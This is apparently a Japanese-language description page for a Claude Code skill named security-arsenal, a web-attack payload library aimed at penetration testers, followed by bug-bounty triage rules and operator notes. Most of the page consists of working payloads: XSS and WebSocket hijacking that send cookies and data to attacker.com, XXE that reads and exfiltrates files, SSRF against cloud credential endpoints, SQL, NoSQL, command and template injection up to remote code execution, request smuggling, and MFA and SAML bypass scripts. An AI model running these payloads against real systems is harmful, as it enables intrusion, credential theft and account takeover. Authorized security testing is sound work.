security-arsenal について
ペネトレーションテスターや許可を得た研究者向けのWebセキュリティテスト用スキルです。一般的な脆弱性ごとにペイロードや回避例を整理し、検査と検証の手法を示します。
主な機能
- 01XSSとDOM XSSのペイロード
- 02SSRFと内部サービスの検査
- 03SQL・NoSQLインジェクション例
- 04XXEとパストラバーサルのペイロード
- 05認証・認可のテスト
- 06SSTI、リクエストスマグリング、WebSocketの検査
活用シーン
- 01許可されたWeb評価で検査手法を選ぶ場面
- 02一般的なインジェクションやアクセス制御の確認
- 03技術別の回避方法を参照する場面
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill security-arsenalインストール後、Claude Code で/security-arsenalを入力して読み込まれたか確認します。
詳細
セキュリティ攻撃手法集
ペイロード、バイパス一覧、ワードリスト、提出ルール。
XSS ペイロード
基本的な検査
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
javascript:alert(document.domain)
Cookie の窃取(影響の証明)
<script>document.location='https://attacker.com/c?c='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
<script>fetch('https://attacker.com?c='+btoa(document.cookie))</script>
CSP バイパス手法
// If unsafe-inline blocked — use fetch/XHR
<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">
// If script-src nonce present — find nonce reflection
<script nonce="NONCE_FROM_PAGE">alert(1)</script>
// Angular template injection (bypasses many CSPs)
{{constructor.constructor('alert(1)')()}}
// React dangerouslySetInnerHTML reflection
// Vue v-html binding
// mXSS (mutation-based XSS)
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
// Polyglot (works in HTML/JS/CSS context)
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>
DOM XSS のソースとシンク
// Sources (user-controlled input)
location.hash
location.search
location.href
document.referrer
window.name
document.URL
// Sinks (dangerous)
innerHTML = SOURCE
outerHTML = SOURCE
document.write(SOURCE)
eval(SOURCE)
setTimeout(SOURCE, ...) // string form
setInterval(SOURCE, ...)
new Function(SOURCE)
element.src = SOURCE // javascript: URI
element.href = SOURCE
location.href = SOURCE
SSRF ペイロード
クラウドメタデータ
# AWS
http://[REDACTED_IP]/latest/meta-data/
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/ROLE-NAME
http://[REDACTED_IP]/latest/user-data/
http://[REDACTED_IP]/latest/dynamic/instance-identity/document
# GCP
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Header: Metadata-Flavor: Google
# Azure IMDS
http://[REDACTED_IP]/metadata/instance?api-version=2021-02-01
# Header: Metadata: true
内部サービスのフィンガープリント
http://localhost:6379 # Redis (unauthenticated, RESP protocol)
http://localhost:9200 # Elasticsearch (/_cat/indices)
http://localhost:27017 # MongoDB (binary — check for connection refused vs timeout)
http://localhost:8080 # Admin panel
http://localhost:2375 # Docker API — GET /containers/json
http://localhost:10.96.0.1:443 # Kubernetes API server
SSRF IP バイパスペイロード
# All of these map to 127.0.0.1:
http://2130706433 # decimal
http://0177.0.0.1 # octal
http://0x7f.0x0.0x0.0x1 # hex
http://127.1 # short form
http://[::1] # IPv6 loopback
http://[::ffff:127.0.0.1] # IPv4-mapped IPv6
http://[::ffff:0x7f000001] # mixed hex IPv6
# DNS rebinding: A→external, then resolves to internal after allowlist check
# Redirect chain (Vercel pattern):
# If filter only checks initial URL but follows redirects:
http://allowed-domain.com/redirect?to=http://[REDACTED_IP]/
SQL インジェクションペイロード
検出
'
''
`
')
'))
' OR '1'='1
' OR 1=1--
' OR 1=1#
' UNION SELECT NULL--
'; WAITFOR DELAY '0:0:5'-- -- MSSQL time-based
'; SELECT SLEEP(5)-- -- MySQL time-based
' OR SLEEP(5)--
UNION ベース(カラム数の特定)
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL--
ブラインド SQLi(時間ベースの確認)
# MySQL
' AND SLEEP(5)--
# PostgreSQL
' AND pg_sleep(5)--
# MSSQL
'; WAITFOR DELAY '0:0:5'--
# Oracle
' AND 1=dbms_pipe.receive_message('a',5)--
WAF バイパス
/*!50000 SELECT*/ * FROM users -- MySQL inline comment
SE/**/LECT * FROM users -- comment injection
SeLeCt * FrOm uSeRs -- case variation
%27 OR %271%27=%271 -- URL encoding
ʼ OR ʼ1ʼ=ʼ1 -- Unicode apostrophe
XXE ペイロード
従来型のファイル読み取り
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
HTTP 経由のブラインド OOB(DNS による確認)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.burpcollaborator.net/xxe">]>
<foo>&xxe;</foo>
DNS 経由のブラインド OOB + データ窃取
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?%data;'>">
%param1;
]>
<foo>&exfil;</foo>
DOCX/SVG/PDF アップロード経由の XXE
- SVG:
<image href="file:///etc/passwd" /> - DOCX:外部エンティティを含む悪意のある XML を
word/document.xmlに配置
パストラバーサルペイロード
../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd # double URL encoding
/etc/passwd%00.jpg # null byte truncation
....\/....\/etc/passwd # mix of separators
IDOR/認証バイパスペイロード
水平権限昇格
# Change numeric ID
GET /api/user/123/profile → GET /api/user/124/profile
# Change UUID (find victim UUID via other endpoints)
GET /api/profile/a1b2c3d4-... → GET /api/profile/e5f6g7h8-...
# HTTP method swap
PUT /api/user/123 (protected) → DELETE /api/user/123 (not protected)
# Old API version
GET /v2/users/123 (protected) → GET /v1/users/123 (not protected)
# Add parameter
GET /api/orders → GET /api/orders?user_id=456
垂直権限昇格
# Parameter pollution
POST /api/user/update
{"role": "admin"}
{"isAdmin": true}
{"admin": 1}
# Hidden fields
<input type="hidden" name="admin" value="true">
# Change in Burp before sending
# GraphQL introspection → find admin mutations
{"query": "{ __schema { types { name fields { name } } } }"}
認証バイパスペイロード
JWT 攻撃
# None algorithm
# Decode JWT, change alg to "none", remove signature
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({"sub":"1","role":"admin"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."
# Secret bruteforce
hashcat -a 0 -m 16500 jwt.txt ~/wordlists/rockyou.txt
OAuth 攻撃
# Missing PKCE test
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
# No code_challenge → check if 302 (not error) = PKCE not enforced
# State parameter check
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
# Missing/static state parameter = CSRF on OAuth = account linkage attack
NoSQL インジェクションペイロード(MongoDB)
演算子インジェクション(JSON ボディ)
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": "admin", "password": {"$gt": ""}}
{"$where": "this.username == 'admin'"}
{"username": {"$in": ["admin", "root", "administrator"]}}
GET パラメーターインジェクション
# URL parameter injection
/login?username[$ne]=null&password[$ne]=null
/login?username[$regex]=.*&password[$regex]=.*
/login?username=admin&password[$gt]=
# MongoDB operator reference:
# $ne = not equal (bypass: value != null = any value matches)
# $gt = greater than (bypass: "" < any string)
# $regex = regex match (bypass: .* = anything)
# $where = JS expression (RCE potential on older MongoDB)
認証バイパスのワンライナー
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":null},"password":{"$ne":null}}'
# URL-encoded for GET forms:
# username%5B%24ne%5D=null&password%5B%24ne%5D=null
コマンドインジェクションペイロード
基本的な検出
; id
| id
` id `
$(id)
&& id
|| id
; sleep 5
| sleep 5
$(sleep 5)
`sleep 5`
ブラインド OOB(アウトオブバンド確認)
; curl https://attacker.burpcollaborator.net
; nslookup attacker.burpcollaborator.net
$(nslookup attacker.burpcollaborator.net)
`ping -c 1 attacker.burpcollaborator.net`
; wget https://attacker.com/$(id|base64)
バイパス手法
# Bypass space filter
;{cat,/etc/passwd}
;cat${IFS}/etc/passwd
;cat$IFS/etc/passwd
;IFS=,;cat,/etc/passwd
# Bypass keyword filter (cat, id blocked)
# Obfuscate with quotes
;c'a't /etc/passwd
;c"a"t /etc/passwd
;$(printf '\x63\x61\x74') /etc/passwd
# Bypass via env
;$BASH -c 'id'
;${IFS}id
# Windows-specific
& dir
| type C:\Windows\win.ini
& ping -n 1 attacker.com
コンテキスト固有(ファイル名インジェクション)
# File upload filenames
test.jpg; id
test$(id).jpg
test`id`.jpg
../test.jpg
../../../../../../etc/passwd
SSTI 検出ペイロード(全エンジン)
汎用プローブ(すべて送信し、評価されるものを確認)
{{7*7}} → 49 = Jinja2 (Python) or Twig (PHP)
${7*7} → 49 = Freemarker (Java) or Spring EL
<%= 7*7 %> → 49 = ERB (Ruby) or EJS (Node.js)
#{7*7} → 49 = Mako (Python) or Pebble (Java)
*{7*7} → 49 = Spring Thymeleaf
{{7*'7'}} → 7777777 = Jinja2 (not Twig — Twig gives 49)
${"freemarker.template.utility.Execute"?new()("id")} → Freemarker RCE
エンジン別 RCE ペイロード
Jinja2(Python/Flask/Django):
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}
Twig(PHP/Symfony):
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
Freemarker(Java):
${"freemarker.template.utility.Execute"?new()("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
ERB(Ruby on Rails):
<%= `id` %>
<%= system("id") %>
<%= IO.popen('id').read %>
Spring Thymeleaf:
${T(java.lang.Runtime).getRuntime().exec('id')}
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
EJS(Node.js):
<%= process.mainModule.require('child_process').execSync('id') %>
テスト対象
Name/bio/username fields, email subject templates, invoice/PDF generators,
URL path parameters reflected in page, error messages, search query reflections,
HTTP headers that appear in rendered responses, notification templates
HTTP スマグリングペイロード
CL.TE — フロントエンドは Content-Length、バックエンドは Transfer-Encoding
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
TE.CL — フロントエンドは Transfer-Encoding、バックエンドは Content-Length
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 3
8
SMUGGLED
0
TE.TE — 両方が Transfer-Encoding をサポートし、一方を無効化するよう難読化
# Obfuscate the TE header so one layer ignores it
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
H2.CL — Content-Length インジェクションを伴う HTTP/2 フロントエンド
# In Burp Repeater, switch to HTTP/2
# Add Content-Length header manually (not auto-set by HTTP/2)
# Front-end ignores CL (HTTP/2 uses :content-length pseudo-header)
# Back-end uses CL → desync
検出(Burp)
1. Install HTTP Request Smuggler extension
2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe
3. All four probe types automatically sent
4. ~10-second timeout on CL.TE probe = back-end waiting = CONFIRMED
影響の連鎖
Basic desync → Capture victim's next request → Read their auth token
+ Admin user traffic → Access admin as victim
+ Cache poisoning → Stored XSS at scale for all users
WebSocket ペイロード
IDOR/認証バイパス
// Test: subscribe to other user's channel
{"action": "subscribe", "channel": "user_VICTIM_ID_HERE"}
{"action": "get_history", "userId": "VICTIM_UUID"}
{"action": "getProfile", "id": 2}
{"action": "admin.listUsers"}
{"action": "admin.getToken", "userId": "1"}
クロスサイト WebSocket ハイジャック(CSWSH)
<script>
var ws = new WebSocket('wss://target.com/ws');
// Browser automatically sends victim's cookies
ws.onopen = () => ws.send(JSON.stringify({action:"getProfile"}));
ws.onmessage = (e) => fetch('https://attacker.com/?d='+encodeURIComponent(e.data));
</script>
Origin 検証のテスト
# Should reject non-target origins. If it doesn't = CSWSH vulnerability
wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"
wscat -c "wss://target.com/ws" -H "Origin: null"
wscat -c "wss://target.com/ws" -H "Origin: https://target.com.evil.com"
WS メッセージ経由のインジェクション
// XSS in chat/notification system
{"message": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"}
// SQLi
{"action": "search", "query": "' OR 1=1--"}
// SSRF (if server fetches URLs from messages)
{"action": "preview", "url": "http://[REDACTED_IP]/latest/meta-data/"}
MFA/2FA バイパスペイロード
パターン 1:OTP のブルートフォース(レート制限なし)
# Try all 6-digit OTPs
ffuf -u "https://target.com/api/verify-otp" \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"otp":"FUZZ"}' \
-w <(seq -w 000000 999999) \
-fc 400,429 \
-t 5
# Rate limit bypass: rotate session tokens between requests
# Or use GraphQL batching to send 100 attempts per request
パターン 2:OTP の再利用(トークンが無効化されない)
1. Request OTP → receive "123456"
2. Submit OTP correctly → authenticated
3. Log out
4. Log in again
5. Submit same OTP "123456" (expired? still works?)
6. Try OTP from previous session at new login
パターン 3:レスポンスの改ざん
Step 1: Enter wrong OTP → intercept response in Burp
Step 2: Change: {"success": false, "message": "Invalid OTP"} → {"success": true}
Step 3: Forward modified response → sometimes app trusts it and proceeds
Also try: change status code 401 → 200, or change redirect from /failed to /dashboard
パターン 4:コードの予測可能性
import requests, time
# Some implementations use timestamp-based OTPs:
for t_offset in range(-30, 31): # Test ±30 seconds
totp_value = generate_totp(secret, time.time() + t_offset)
r = requests.post("https://target.com/api/mfa", json={"otp": totp_value})
if r.status_code == 200:
print(f"VALID at offset {t_offset}s: {totp_value}")
break
パターン 5:バックアップコードにレート制限がない
# Backup codes are typically 8-character alphanumeric = smaller space than 6-digit TOTP
# Try brute force on /api/verify-backup-code if no rate limit
パターン 6:MFA ステップのスキップ(ワークフローバイパス)
# After entering username/password, you get a session cookie
# Test: skip the /mfa/verify step entirely, go directly to /dashboard
# If cookie grants access before MFA = auth flow bypass
# Also: complete MFA in one session, reuse cookie in another browser
# Checks whether MFA completion is tied to the specific session
パターン 7:MFA 検証時の競合状態
import asyncio, aiohttp
# Race 2 MFA verifications simultaneously
# If both succeed = parallel session ATO
async def verify(session, otp):
async with session.post("https://target.com/api/mfa/verify",
json={"otp": otp}) as r:
return await r.json()
async def race():
async with aiohttp.ClientSession(cookies={"session": "YOUR_SESSION"}) as s:
results = await asyncio.gather(verify(s, "123456"), verify(s, "123456"))
print(results)
asyncio.run(race())
SAML 攻撃
攻撃 1:XML 署名ラッピング(XSW)
<saml:Assertion ID="legit">
<NameID>[email protected]</NameID>
<ds:Signature>VALID_SIGNATURE_OVER_legit</ds:Signature>
</saml:Assertion>
<saml:Response>
<saml:Assertion ID="evil">
<NameID>[email protected]</NameID>
</saml:Assertion>
<saml:Assertion ID="legit">
<NameID>[email protected]</NameID>
<ds:Signature>VALID_SIGNATURE</ds:Signature>
</saml:Assertion>
</saml:Response>
攻撃 2:NameID へのコメントインジェクション
<NameID>[email protected]</NameID>
攻撃 3:署名の削除
1. Capture SAMLResponse (base64 decode from browser)
2. Remove or modify the <Signature> element entirely
3. Change NameID to [email protected]
4. Re-encode and submit
5. If server doesn't validate signature presence = admin login
攻撃 4:SAML アサーション内の XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Response>
<saml:Assertion>
<NameID>&xxe;</NameID>
</saml:Assertion>
</saml:Response>
ツール
# SAMLRaider (Burp extension) — most automated XSW testing
# Install from BApp Store, intercept SAMLResponse, right-click → SAML Raider
# Manual: decode, modify, re-encode
echo "BASE64_SAML_RESPONSE" | base64 -d | xmllint --format - > saml.xml
# Edit saml.xml
cat saml.xml | base64 -w0 # Re-encode
GF パターン名(tomnomnom/gf)
# Install: https://github.com/tomnomnom/gf
# Usage: cat urls.txt | gf PATTERN
gf xss # XSS parameters
gf ssrf # SSRF parameters
gf idor # IDOR parameters
gf sqli # SQL injection parameters
gf redirect # Open redirect parameters
gf lfi # Local file inclusion
gf rce # Remote code execution parameters
gf ssti # Template injection parameters
gf debug_logic # Debug/logic parameters
gf secrets # Secret/token patterns
gf upload-fields # File upload parameters
gf cors # CORS-related parameters
常に却下 — 絶対に提出しない
これらを提出すると、有効率が低下します。N/A は不利です。提出しないでください。
Missing CSP / HSTS / X-Frame-Options / other security headers
Missing SPF / DKIM / DMARC
GraphQL introspection alone (no auth bypass, no IDOR)
Banner / version disclosure without a working CVE exploit
Clickjacking on non-sensitive pages (no sensitive action in PoC)
Tabnabbing
CSV injection (no actual code execution shown)
CORS wildcard (*) without credential exfil PoC
Logout CSRF
Self-XSS (only exploits own account)
Open redirect alone (no ATO chain, no OAuth code theft)
OAuth client_secret in mobile app (disclosed, expected)
SSRF with DNS callback only (no internal service access)
Host header injection alone (no password reset poisoning PoC)
Rate limit on non-critical forms (login page Cloudflare, search, contact)
Session not invalidated on logout
Concurrent sessions allowed
Internal IP address in error message
Mixed content (HTTP resources on HTTPS page)
SSL weak cipher suites
Missing HttpOnly / Secure cookie flags alone
Broken external links
Pre-account takeover (usually — requires very specific conditions)
Autocomplete on password fields
条件付きで有効 — チェーンが必要です
実際の影響を証明するチェーンと組み合わせた場合に限り、有効です。
| 単独の発見事項 | 必要なチェーン | チェーンが成立した場合の結果 |
|---|---|---|
| オープンリダイレクト | + redirect_uri の悪用による OAuth コードの窃取 | ATO(クリティカル) |
| クリックジャッキング | + 機密性の高い操作 + 動作する PoC(ログインだけでは不十分) | ミディアム |
| CORS ワイルドカード | + 認証情報付きリクエストによるユーザーデータの流出 | ハイ |
| CSRF | + 機密性の高い操作(資金の送金、メールアドレスの変更) | ハイ |
| レート制限の回避 | + OTP/トークンのブルートフォースが成功する | ミディアム/ハイ |
| DNS のみの SSRF | + 内部サービスへのアクセス + データの取得 | ミディアム |
| Host ヘッダーインジェクション | + パスワードリセットメールでそれが使用される | ハイ |
| プロンプトインジェクション | + 他のユーザーのデータを読み取る(IDOR)、またはデータ流出、または RCE | ハイ |
| S3 バケットの一覧表示 | + API キー/OAuth シークレットを含む JS バンドル | ミディアム/ハイ |
| Self-XSS | + 被害者に発生させるための CSRF | ミディアム |
| サブドメインテイクオーバー | + そのサブドメインで登録された OAuth redirect_uri | クリティカル |
| GraphQL イントロスペクション | + 認証を回避するミューテーション、または node() の IDOR | ハイ |
ルール: まずチェーンを構築し、最初から最後まで動作することを確認してから報告します。「A があり、B とチェーンできる可能性がある」と報告してはいけません。実証してください。
ワードリスト(~/wordlists/ にインストール済み)
common.txt # Common directories and files
params.txt # Parameter names (id, user_id, file, etc.)
api-endpoints.txt # API endpoint paths (/api/v1/users, etc.)
dirs.txt # Directory names
sensitive.txt # Sensitive paths (.env, config.json, backup, etc.)
ファジングする価値のある組み込みパス
# Sensitive files
/.env
/.git/config
/config.json
/credentials.json
/backup.sql
/dump.sql
/.DS_Store
/robots.txt
/sitemap.xml
/.well-known/security.txt
# Admin panels
/admin
/admin/login
/administrator
/wp-admin
/manager
/console
/dashboard
/panel
# API discovery
/api
/api/v1
/api/v2
/graphql
/graphiql
/swagger
/swagger-ui.html
/api-docs
/openapi.json
/v1
/v2
検証
- ペイロードカタログ — ペイロードの網羅性を確認します。
grep -c "XSS\|SQLi\|SSRF\|XXE\|SSTI\|LFI" SKILL.md && echo "PASS: multiple vuln classes covered" || echo "FAIL" - WAF 回避 — 回避用ペイロードがあることを確認します。
grep -q "bypass\|filter\|WAF\|encoding" SKILL.md && echo "PASS: bypass payloads present" || echo "FAIL"
すべてのテストで、セキュリティツール群が準備できていることを確認します。
落とし穴
- 理解せずにペイロードを使う —
<script>alert(1)</script>は最もブロックされやすいペイロードです。回避策が機能する理由を理解してから使ってください。 - すべてのペイロードがすべてのターゲットで機能すると想定する — React 向けの XSS ペイロードは、Angular、PHP、従来の HTML 向けのものとは異なります。技術に合ったペイロードを選んでください。
- テストごとにペイロードを1つだけ使う — WAF、エンコーディング、コンテキストが異なれば、必要なペイロードも異なります。脆弱性の種類ごとに、少なくとも5種類のバリエーションをテストしてください。
- 古いペイロードリストを使う — WAF のルールは更新されます。先月機能した回避策が、すでに修正されている場合があります。現在のターゲットに対してペイロードをテストしてください。
- コンテキストマーカーなしでペイロードを使う — ペイロードが反映されたことを偶然ではなく確認するため、必ず一意のマーカー(ランダムな8文字以上)を使ってください。
関連するスキルとチェーン
hunt-xss/hunt-ssrf/hunt-sqli/hunt-ssti/hunt-idor— ハンターがパラメーターを積極的にテストしており、ペイロードが必要な場合に使用します。ワークフローの基本要素:このスキルは、各 hunt-* スキルが参照するペイロードライブラリです。hunt-* スキルがシンクを特定し、このスキルが構文を提供します。triage-validation— 発見事項を報告すべきかどうかを判断する場合に使用します。ワークフローの基本要素:両方のスキルにある「常に却下」と「条件付きで有効 — チェーンが必要」の表で、判断が一致している必要があります。triage-validationは7つの質問によるゲートを実行し、このスキルはQ7で使われるチェーン必須の対応関係を提供します。web2-recon— URL セットがgfパターンで分類された場合に使用します。ワークフローの基本要素:偵察で得たgf xss/ssrf/sqliの出力に対応するペイロードのセクションをここで参照します。gfのパターン名は、このスキルのペイロードセクションを直接示します。evidence-hygiene— ペイロードがスクリーンショットに残す価値のある出力を生成した場合に使用します。ワークフローの基本要素:ペイロードが影響(Cookie の窃取、データの流出)を実証したら、スクリーンショットが証拠になる前に、evidence-hygieneに引き継いで秘匿情報をマスキングします。bb-methodology— フェーズ3(発見)で入力の種類に応じて処理を振り分ける場合に使用します。ワークフローの基本要素:フェーズ3の判断フロー(「ID パラメーター → IDOR チェックリスト」、「URL 入力 → SSRF チェックリスト」)で、このツール群のどのセクションを読み込むかが示されます。
オペレーターノート
実際のエンゲージメントから得た知見と、ベンダー提供の基盤に加えた2026年固有の項目です。 実際の許可済みエンゲージメントから得た知見と、このリポジトリの31以上のスキル領域における実環境テストを通じたフェーズ2の検証に基づいています。上流のペイロードライブラリが WHAT(何を)を扱うのに対し、このレイヤーは WHEN-IT-WORKS-vs-WHEN-IT-DOESN'T(いつ機能し、いつ機能しないか)を扱います。
ペイロードの鮮度 — 2026年時点で何が古くなっているか
従来の CL.TE/TE.CL HTTP スマグリングペイロードは、Nginx ≥ 1.21、Caddy 2.x、Envoy ≥ 1.20 に対しては、もはや機能しません(Phase 2H で検証済み)。一方、HAProxy ≤ 2.4、旧バージョンの F5 BIG-IP、Citrix ADC、AWS ALB 固有の設定、Apache Traffic Server に対しては、今でも機能します。ペイロードに時間を費やす前に、まずフロントエンドをフィンガープリントしてください。curl -sI を使い、Server: ヘッダー、Via: チェーン、TLS JA3 を確認します。そうすれば、入口でパーサーに拒否されるペイロードに何時間も費やさずに済みます。
XXE の従来型ペイロードも同様です。Python lxml ≥ 5.x は、デフォルトで SYSTEM エンティティを黙って破棄します(Phase 2G の調査結果)。このペイロードが引き続き有効なのは、Java SAX、LIBXML_NOENT を指定した PHP DOMDocument、XmlResolver が引き続き設定されている .NET XmlDocument、旧バージョンの lxml(< 5.0)、DTDLOAD を指定した Ruby Nokogiri、および多くの組み込み XML プロセッサー(SOAP ライブラリ、SAML 実装、Office ドキュメントパーサーなど)です。ペイロードライブラリにはこれらが引き続き含まれています。対象のパーサーが現在も脆弱なものに該当するかどうかは、オペレーターが判断してください。
2026年時点で、デフォルトでは古くなっているものの、すべての環境で使えないわけではないペイロードには、<a href> 内の javascript: URL(Chrome は明示的なユーザー操作がない限りブロックしますが、埋め込み WebView、Electron、旧バージョンの Edge では機能します)、トップレベルナビゲーションでの data:text/html(最新のブラウザーはナビゲーションのコンテキストでは除去します)、Location: の CRLF インジェクション(ほとんどのリバースプロキシは正規化します)があります。汎用ブラウザーではなく、必ず実際の対象環境でテストしてください。
WAF の評価順序が重要
同じ WAF に対して複数のバイパスペイロードがある場合、試す順序は次のとおりです。
- エンコーディングの工夫 — 大文字と小文字の変化(
SeLeCt)、URL エンコードを1回、URL エンコードを2回、Unicode エスケープ(<)、HTML エンティティ(<)、UTF-8 の過長シーケンス。 - パーサーの癖 — XML 名前空間、キーワードの途中に挿入する JSON の
\uエスケープ、Content-Type: application/jsonとapplication/x-www-form-urlencodedの間で生じるパーサーの解釈違い、マルチパート境界の工夫。 - プロトコルレベル — HTTP/2 と HTTP/1.1 の違い(一部の WAF は一方しか検査しません)、Host ヘッダーインジェクション、
X-Original-URL、X-Forwarded-*のスマグリング。 - WAF ルール固有のバイパス — Cloudflare、AWS WAF、Akamai、Imperva、F5 ASM にはそれぞれ既知のシグネチャの抜けがあります。ベンダー固有のペイロードのサブセクションを確認してください。
ほとんどのエンゲージメントはステップ2で終わります。最新の WAF は、パーサーの解釈違いに基づく手法に反応します。WAF とオリジンアプリで、「有効な」リクエストの解釈が異なるためです。
OOB確認必須の原則はすべてに適用されます
ブラインドプリミティブ(ブラインド SQLi、ブラインド XSS、ブラインド SSRF、ブラインド RCE、ブラインド XXE)には、すべて OOB による確認が必要です。確認なしでは、バグとパーサーエラーのログを区別できません。Phase 2D の強化されたラボでは、この原則によって、表面上は実際のバグと見分けがつかない誤検知を排除できることが実証されました。500 ページに you have an error in your SQL syntax というテキストを含むエラーメッセージがあっても、まったく別のリクエストに対するパーサーログである可能性があります。Burp Collaborator ドメイン(または interactsh)にアクセスし、報告する前にコールバックを確認してください。
2026年時点での OOB コールバック基盤の順位は次のとおりです。(1)Burp Collaborator(Pro ライセンスが必要。最も確実)、(2)interactsh-client(オープンソース。同等の性能)、(3)DNSLog.cn(無料ですが、第三者にログが記録されます。有償のエンゲージメントでは絶対に使用しないでください)、(4)セルフホストのキャッチオール DNS + HTTP リスナー(長期のエンゲージメントで最も信頼性が高い)。
マーカーの運用規律
汎用的な単語は、対象のコンテンツに自然に含まれていることがあります。javascript を検索して「JavaScript Tutorial」にヒットしても、これはリフレクションではなく、キーワードが重複しただけです。ランダムで一意な文字列を使用してください。
m=$(head -c 12 /dev/urandom | base64 | tr -d '+/=' | head -c 12)
# now m is like "K7gXq2pNRm1z" — search for THIS in the response
curl --max-time 30 --connect-timeout 10 "https://target/search?q=${m}" | grep -c "$m"
レスポンスにマーカーが含まれていれば、リフレクションが確認できます。HTML コンテキストでエスケープされずに含まれていれば、XSS の可能性があります。Location ヘッダーに含まれていれば、リダイレクトです。SQL エラーに含まれていれば、インジェクションです。マーカーだけが信頼できる判定基準です。汎用キーワードは当てになりません。
ノイズの多いオラクルに対する統計的サンプリング
1 回の試行によるタイミング差はノイズです。n≥10 回の試行を交互に実施し、Welch の t 統計量が 3 を超えること、または同等の信頼区間の分離を要求します。Phase 2D では、意図的にノイズを加えたタイミングオラクルを使ってこれを検証しました。1 回の試行では 129ms の差が見られ(報告されていた可能性があります)、n=10 では平均が 78ms 対 191ms、t=5.26 となり、実際の差であり、十分な裏付けが得られました。
タイミングサイドチャネルを検証するためのひな形:
import statistics
def welch_t(a, b):
ma, mb = statistics.mean(a), statistics.mean(b)
va, vb = statistics.variance(a), statistics.variance(b)
return (ma - mb) / ((va/len(a) + vb/len(b)) ** 0.5)
# interleave control + test trials, n=10 each, t > 3 = signal
同じルールは、ジッターの影響下で応答長やステータスコードに差が出るブラインドブールオラクルにも当てはまります。推測せず、サンプリングしてください。